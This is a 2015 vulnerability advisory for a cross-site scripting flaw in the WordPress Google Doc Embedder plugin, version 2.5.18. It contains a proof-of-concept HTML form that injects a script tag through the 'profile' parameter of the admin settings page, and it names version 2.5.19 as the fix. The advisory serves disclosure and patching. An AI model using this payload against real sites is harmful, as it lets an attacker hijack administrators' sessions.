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WordPress Google Doc Embedder 2.5.18 Cross Site Scripting

🗓️ 09 Feb 2015 00:00:00Reported by Morten NortoftType 
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WordPress 'Google Doc Embedder' plugin - XSS version 2.5.1

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`Title: WordPress 'Google Doc Embedder' plugin - XSS  
Version: 2.5.18  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2015/01/26  
Download: https://wordpress.org/plugins/google-document-embedder/  
Contacted WordPress: 2015/01/26  
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## Description:   
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Lets you embed PDF, MS Office, and many other file types in a web page using the free Google Docs Viewer (no Flash or PDF browser plug-ins required).   
  
  
## XSS:  
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By tricking a logged in admin into visiting a crafted page, it is possible to perform an XSS attack through the 'profile' parameter.  
  
PoC:  
Log in as admin and submit this form:  
<form method="POST" action="http://[URL]/wp-admin/options-general.php?page=gde-settings">   
<text>action: </text>  
<input type="text" name="action" value="edit" READONLY><br />  
<text>profile: </text>  
<input type="text" name="profile" value=""><script>alert(1);</script>"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
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Update to version 2.5.19.  
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